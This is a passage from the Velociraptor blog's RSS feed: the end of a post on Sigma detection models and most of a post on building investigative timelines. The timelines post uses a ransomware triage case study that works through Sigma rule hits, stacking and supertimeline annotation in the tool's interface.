&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_hunt_.svg&#34; alt=&#34;Viewing results from Sigma Hunt&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;586&#34;&#xA;         width=&#34;1483.2675044883304&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_hunt.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing results from Sigma Hunt&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;This Blog post explains the rational behind separating Sigma Rules&#xA;into &lt;code&gt;Sigma Models&lt;/code&gt;. Velociraptor&amp;rsquo;s Sigma implementation allows for&#xA;the creation of many specialized &lt;code&gt;Sigma Models&lt;/code&gt; which can operate in&#xA;completely different environments.&lt;/p&gt;&#xA;&lt;p&gt;For example, the &lt;code&gt;Windows.Sigma.Base&lt;/code&gt; model operates on parsing of&#xA;event log files on the endpoint (triaging existing logs). On the other&#xA;hand the &lt;code&gt;Windows.Sigma.BaseEvents&lt;/code&gt; model watches log files in real&#xA;time to generate Sigma based events on current activity.&lt;/p&gt;&#xA;&lt;p&gt;Similarly the &lt;code&gt;Linux.Sigma.EBPF&lt;/code&gt; model surfaces real time telemetry&#xA;collected from EBPF sensors on Linux and makes these available to&#xA;Sigma rule authors. This flexibility allows applying Sigma in many&#xA;different scenarios, making it a power technique.&lt;/p&gt;&#xA;&lt;p&gt;The main difficulty with writing Sigma rules is being able to iterate&#xA;through generating event data, applying the Sigma Rule, debugging the&#xA;rule and testing the detection at scale.&lt;/p&gt;&#xA;&lt;p&gt;This post describes a new Sigma rule writing workflow that allows to&#xA;rapidly iterate through the detection process, then apply the test to&#xA;the entire fleet quickly to test false positive rates.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Timelines in Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines/</link>
      <pubDate>Thu, 12 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; New feature &#34;&gt;&lt;p&gt;This feature is available in the 0.73 release. You can&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/downloads/&#34;&gt;Download it&lt;/a&gt; and provide valuable feedback.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Digital forensics is about reconstructing what happened in the past&#xA;based on available artifacts. When applying Digital Forensics to an&#xA;incident response case, we try to follow the movements of the&#xA;adversary through the network and answer some common questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happened?&lt;/li&gt;&#xA;&lt;li&gt;When did it happen?&lt;/li&gt;&#xA;&lt;li&gt;What potential information was compromised?&lt;/li&gt;&#xA;&lt;li&gt;How can we harden the system to prevent this from happening again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;A very useful tool for every incident manager is to build a timeline&#xA;of relevant information. A timeline helps to communicate the sequence&#xA;of actions the adversary took. Additionally timelines help us to&#xA;identify the time period of interest to the specific case, so that we&#xA;can ignore other data that happened either before or after the&#xA;incident. In this way timelining is a useful triaging tool.&lt;/p&gt;&#xA;&lt;h2 id=&#34;an-example-timeline-in-an-investigation&#34;&gt;An example timeline in an investigation.&lt;/h2&gt;&#xA;&lt;p&gt;Timelining an incident is an important part of many&#xA;investigations. Before I describe the timeline feature within&#xA;Velociraptor, it is important to understand how timelines are used&#xA;traditionally. After all, Velociraptor is simply a tool that makes the&#xA;workflow simpler, but ultimately the same general process is followed!&lt;/p&gt;&#xA;&lt;p&gt;The simplest approach is to manually keep a spreadsheet of events and&#xA;timestamps, sorted by time. This approach does not require any&#xA;additional tools than a simple spreadsheet:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Analysis step&lt;/code&gt;: The investigator identifies important events to&#xA;annotate by analysing various forensic artifacts or even just&#xA;interviewing people, looking at other sources of evidence like&#xA;security video etc.&lt;/p&gt;&#xA;&lt;p&gt;The purpose of this step is to identify and isolate noteworthy&#xA;events from the thousands of time relevant data typically&#xA;encountered in an investigation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Annotation step&lt;/code&gt;: The investigator then simply writes a timestamp&#xA;in one column, a message in the other column and any additional&#xA;information in a third column.&lt;/p&gt;&#xA;&lt;p&gt;The purpose of this step is to assign semantic interpretation of&#xA;noteworthy events to explain how they are relevant to the case.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;An example of such a manual approach is&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Timestamp&lt;/th&gt;&#xA;          &lt;th&gt;Message&lt;/th&gt;&#xA;          &lt;th&gt;Information&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2021-10-12 10:10Z&lt;/td&gt;&#xA;          &lt;td&gt;Suspect entered vehicle&lt;/td&gt;&#xA;          &lt;td&gt;source=Video surveillance, Vehicle_tag=&lt;code&gt;XYZ&lt;/code&gt;, Suspect=Bob&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2021-10-12 11:05Z&lt;/td&gt;&#xA;          &lt;td&gt;Call Received&lt;/td&gt;&#xA;          &lt;td&gt;source=Call Log, Number=555-1234, Duration: 2min&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2021-10-12 11:06Z&lt;/td&gt;&#xA;          &lt;td&gt;Vehicle crashed&lt;/td&gt;&#xA;          &lt;td&gt;source=Police Report, Place=I95 South, near exit 175&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;The above example is a typical investigation timeline:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The timeline contains information from multiple sources. We call&#xA;each entry in the table an &lt;code&gt;event&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Each source contains different types of information, but each event&#xA;has some common fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Timestamp&lt;/code&gt;: This is when the event occurred (usually specified in a&#xA;common timezone).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Message&lt;/code&gt;: A generic human readable message to explain what this&#xA;event represents.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Information&lt;/code&gt;: This column contains any event specific&#xA;information. Since this information can vary, the data is normally&#xA;stored in the same column in some kind of structured way (e.g. a&#xA;Key/Value format)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The above timeline helps us to explain what happened - we only see&#xA;relevant, annotated events (and a note relating these to the&#xA;case). This timeline adds support to the central theory of what&#xA;actually caused the accident - likely mobile phone use by the driver.&lt;/p&gt;&#xA;&lt;p&gt;The important takeaways from this example are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I combine events from different sources based on their timestamp.&lt;/li&gt;&#xA;&lt;li&gt;Only important events to the case are annotated with a human&#xA;readable note that relates them to the case.&lt;/li&gt;&#xA;&lt;li&gt;The timeline helps support a certain theory or conclusion of what&#xA;actually happened.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;case-study-ransomware-intrusion&#34;&gt;Case study: Ransomware intrusion&lt;/h2&gt;&#xA;&lt;p&gt;To illustrate how a timeline can be used in a typical DFIR&#xA;investigation, let&amp;rsquo;s consider a simple (if contrived) case study:&#xA;Ransomware deployment on an endpoint.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-1-create-a-global-notebook&#34;&gt;Step 1: Create a global notebook&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor notebooks are interactive documents that can be shared&#xA;between a group of investigators. Each notebook consists of cells,&#xA;while cells can contain markdown text or VQL queries to evaluate.&lt;/p&gt;&#xA;&lt;p&gt;I will start off by create a global notebook to hold the timeline.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/new_notebook_timeline_1_.svg&#34; alt=&#34;Creating a notebook from a template&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;704.4040404040404&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;new_notebook_timeline_1.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a notebook from a template&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/new_notebook_timeline_2_.svg&#34; alt=&#34;An empty timeline notebook&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;312.7695309494303&#34;&#xA;         width=&#34;668.597114718738&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;new_notebook_timeline_2.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    An empty timeline notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-2-collect-some-artifacts&#34;&gt;Step 2: Collect some artifacts!&lt;/h3&gt;&#xA;&lt;p&gt;In this case I will directly collect artifacts from the endpoint in&#xA;question. I search for the hostname and select it for interactive&#xA;triage.&lt;/p&gt;&#xA;&lt;p&gt;Usually at the start of an incident I don&amp;rsquo;t really know what happened&#xA;or where to start. I like to start of with some Sigma rules as curated&#xA;by the &lt;code&gt;Windows.Hayabusa.Rules&lt;/code&gt; artifact. This artifact is maintained&#xA;by the separate &lt;a href=&#34;https://sigma.velocidex.com&#34; target=&#34;_blank&#34; &gt;Velociraptor Curated&#xA;Sigma&lt;/a&gt; site. The artifact combines many&#xA;rules from the&#xA;&lt;a href=&#34;https://github.com/Yamato-Security/hayabusa-rules&#34; target=&#34;_blank&#34; &gt;Hayabusa&lt;/a&gt; and&#xA;Sigma projects.&lt;/p&gt;&#xA;&lt;p&gt;Sigma rules are a good place to start as they can indicate any&#xA;suspicious activity on an endpoint. Normally Sigma rules must balance&#xA;false positives with the probability of missing a detection. However,&#xA;in the triage context, I really want to see all rules - including ones&#xA;that are noisy and produce a lot of false positives.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/hayabusa_parameters_.svg&#34; alt=&#34;Configuring the Sigma artifacts&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;429.7522281450361&#34;&#xA;         width=&#34;667.0010320654768&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hayabusa_parameters.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the Sigma artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Therefore in this case I will choose to evaluate &lt;strong&gt;All&lt;/strong&gt; the rules on&#xA;the endpoint. The artifact will then evaluate all rules against each&#xA;local event log file.&lt;/p&gt;&#xA;&lt;p&gt;This results in over 18,000 events - too many to manually review! I&#xA;will post process this collection by selecting the collection&amp;rsquo;s&#xA;&lt;code&gt;Notebook&lt;/code&gt; tab. This is a notebook that is created inside each&#xA;collection for post processing just that one collection results.&lt;/p&gt;&#xA;&lt;p&gt;In this case I don&amp;rsquo;t really want to review every single hit. I just&#xA;want to see what &lt;strong&gt;kind&lt;/strong&gt; of rules matched to get an overview of what&#xA;happened. I can then drill down into each hit to identify the&#xA;important ones.&lt;/p&gt;&#xA;&lt;p&gt;This type of processing is called &lt;code&gt;Stacking&lt;/code&gt;. Velociraptor has an&#xA;inbuilt stacking feature within the GUI - it is available on any&#xA;table!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/hayabusa_stack_1_.svg&#34; alt=&#34;Stacking hits by Title&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;312.7695309494303&#34;&#xA;         width=&#34;717.9935837204962&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hayabusa_stack_1.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Stacking hits by Title&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;First I sort by one of the table columns - This will select the column&#xA;I want to stack on. In this case, I will sort by the Rule Title. Once&#xA;the table is sorted, the GUI shows the stacking button. Clicking the&#xA;stacking button shows the stacking overview for this table.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/hayabusa_stack_2_.svg&#34; alt=&#34;Inspecting unique rules&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;312.7695309494303&#34;&#xA;         width=&#34;647.3632806059221&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hayabusa_stack_2.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting unique rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Stacking is a common technique to view aggregation of data quickly. I&#xA;allows us to see what &lt;strong&gt;kind&lt;/strong&gt; of rules matches in this case, and how&#xA;many times they matched. We can then drill down on each of these&#xA;matches to see if they are relevant to the case.&lt;/p&gt;&#xA;&lt;p&gt;In the above, I immediately see some interesting rules matched! Lets&#xA;consider the rule &lt;code&gt;Windows Defender Real-time Protection Disabled&lt;/code&gt;. This event matched twice in the logs but it is usually a&#xA;strong signal so I want to drill down on it.&lt;/p&gt;&#xA;&lt;p&gt;If I click the Link icon in the stacking table, I will be able to&#xA;explore the specific times this rule matched.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/hayabusa_stack_defender_disabled_.svg&#34; alt=&#34;Specific instances when Defender was disabled&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;257.8377499329176&#34;&#xA;         width=&#34;1154.0607943821237&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hayabusa_stack_defender_disabled.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Specific instances when Defender was disabled&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I see a match in 2023 and one in 2024. In practice a lot of false&#xA;positives will occur, or even evidence of previous compromise&#xA;unrelated to the current incident! Reviewing these events at this&#xA;stage can help to put a timeline on the incident.&lt;/p&gt;&#xA;&lt;p&gt;For our purposes we can narrow the time of interest to shortly before&#xA;&lt;code&gt;2024-09-12&lt;/code&gt; and this helps us quickly focus on events after that time&#xA;(in a real case, I will be more exhaustive in checking for possible&#xA;earliest compromise)&lt;/p&gt;&#xA;&lt;p&gt;I will then reduce the table to all events after &lt;code&gt;2024-09-12&lt;/code&gt; by&#xA;adapting the cell&amp;rsquo;s VQL query. In the initial stage I will only look&#xA;at high and critical level events, and remove rules which usually&#xA;produce too many false positives.&lt;/p&gt;&#xA;&lt;p&gt;This reduces the number of events to consider from over 18,000 to&#xA;about 100 high confidence events that I can manually review.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/hayabusa_reduced_.svg&#34; alt=&#34;Reducing data&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;1441.7721518987344&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hayabusa_reduced.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Reducing data&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;adding-to-the-timeline&#34;&gt;Adding to the timeline.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s timelines implementation streamlines and enables the&#xA;above described manual process. We still mostly follow the same&#xA;general pattern but within the GUI much of the maintainance of&#xA;timelines is made easier and reduces friction for the user.&lt;/p&gt;&#xA;&lt;p&gt;First let&amp;rsquo;s define some terms:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;An &lt;code&gt;Event&lt;/code&gt; represents something that happened at a point in&#xA;time. All events contain the following fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Timestamp is the time when the event occurred.&lt;/li&gt;&#xA;&lt;li&gt;A Message is used to describe what the event is.&lt;/li&gt;&#xA;&lt;li&gt;A Data field contains arbitrary data as key/value pairs -&#xA;depending on where the event is coming from, this data will vary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;code&gt;Timeline&lt;/code&gt; is a series of &lt;code&gt;Events&lt;/code&gt; with a name.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;code&gt;Supertimeline&lt;/code&gt; is a collection of &lt;code&gt;Timelines&lt;/code&gt; which allows us to&#xA;interactively inspect all the timelines together. The GUI overlays&#xA;all the events together into one UI and allows the user to enable&#xA;or disable any specific timeline in order to focus on specific&#xA;types of information.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;An &lt;code&gt;Annotation&lt;/code&gt; is a special &lt;code&gt;Timeline&lt;/code&gt; within the &lt;code&gt;Supertimeline&lt;/code&gt;&#xA;that users can add specific messages to. The annotations can be&#xA;hidden or shown as other timelines but the GUI provides a way to&#xA;add/remove annotations by inspecting other events in other timelines.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The ultimate goal of the &lt;code&gt;Supertimeline&lt;/code&gt; is to build a useful set of&#xA;&lt;code&gt;Annotations&lt;/code&gt; from all the events in the different timelines so that a&#xA;report may be written from it. The annotations timeline is what we&#xA;refer to as the &amp;ldquo;investigative timeline&amp;rdquo; (Similar to the example&#xA;above).&lt;/p&gt;&#xA;&lt;p&gt;Because the Annotations timeline is for user consumption, we only want&#xA;high value and high confidence events and not too many of them. We&#xA;don&amp;rsquo;t expect hundreds or thousands of annotations! Ideally we can&#xA;export the annotations from a timeline analysis and present it as a&#xA;running commentary of what happened.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s add our Sigma analysis to the timeline. Within the Reduced Sigma&#xA;table, click &lt;code&gt;Add to Timeline&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/add_timeline_1_.svg&#34; alt=&#34;Adding a table to a super timeline timeline&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;406.1937388752685&#34;&#xA;         width=&#34;914.0819678141265&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;add_timeline_1.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a table to a super timeline timeline&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Add Timeline&lt;/code&gt; dialog allows us to create a timeline, add it to a&#xA;supertimeline and configure how events are created from the current&#xA;table:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Selecting &lt;code&gt;Local Timeline&lt;/code&gt; or &lt;code&gt;Global Timeline&lt;/code&gt; allows me to select&#xA;which &lt;code&gt;Supertimeline&lt;/code&gt; I want to add this to. Global Timelines exist&#xA;within the &lt;code&gt;Global Notebooks&lt;/code&gt; (i.e. those created from a template&#xA;and are visible from the notebook side bar).&lt;/p&gt;&#xA;&lt;p&gt;I will select the &lt;code&gt;Supertimeline&lt;/code&gt; in the notebook I created&#xA;earlier.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Next I will name the new &lt;code&gt;Timeline&lt;/code&gt; to remind me where these events&#xA;come from. This name will be used to remind me where the events I&#xA;see come from. I will call this &lt;code&gt;Sigma&lt;/code&gt; as this is the result of&#xA;matching the sigma rules.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Before the events can be created I need to designate which is the&#xA;Timestamp and Message column - Each event must have a &lt;code&gt;Timestamp&lt;/code&gt;&#xA;and a &lt;code&gt;Message&lt;/code&gt; field, while the data field will consist of the&#xA;rest of the event specific data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;the-timeline-viewer&#34;&gt;The timeline viewer&lt;/h3&gt;&#xA;&lt;p&gt;After the reduced Sigma timeline is added, I can see the timeline&#xA;notebook updated.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/timeline_sigma_.svg&#34; alt=&#34;The Supertimeline UI&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;1164.176570458404&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline_sigma.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Supertimeline UI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Following is a description of the UI:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The display is divided into a &lt;code&gt;Timeline Visualizer&lt;/code&gt; at the top and&#xA;a &lt;code&gt;Time table&lt;/code&gt; at the bottom.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;Timeline Visualizer&lt;/code&gt; itself is divided into:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;time navigator&lt;/code&gt; at the top showing event times in UTC. You can&#xA;drag and zoom to change the time scales, or click on the column&#xA;headers to change the time resolution and zoom in and out of the&#xA;time ranges.&lt;/li&gt;&#xA;&lt;li&gt;Below the &lt;code&gt;time navigator&lt;/code&gt; is the &lt;code&gt;Time Group Visualizer&lt;/code&gt;. This&#xA;shows the range of each time series as a color block. This color&#xA;is also matched with the individual events shown in the timeline&#xA;below.&lt;/li&gt;&#xA;&lt;li&gt;Each time group represents a distinct time series which can be&#xA;enabled or disabled. Disabling a time series hides it from the&#xA;time table below, making it easier to examine only events from&#xA;the enabled time series.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;Time Cursor&lt;/code&gt; can be moved by clicking within the &lt;code&gt;time navigator&lt;/code&gt;. This controls which events are shown in the &lt;code&gt;Time Table&lt;/code&gt; below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;Time Table&lt;/code&gt; shows events from all enabled time series that&#xA;occur after the &lt;code&gt;Time Cursor&lt;/code&gt;.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each event shows the &lt;code&gt;Timestamp&lt;/code&gt;, &lt;code&gt;Message&lt;/code&gt; and &lt;code&gt;Notes&lt;/code&gt; columns&#xA;as an overview 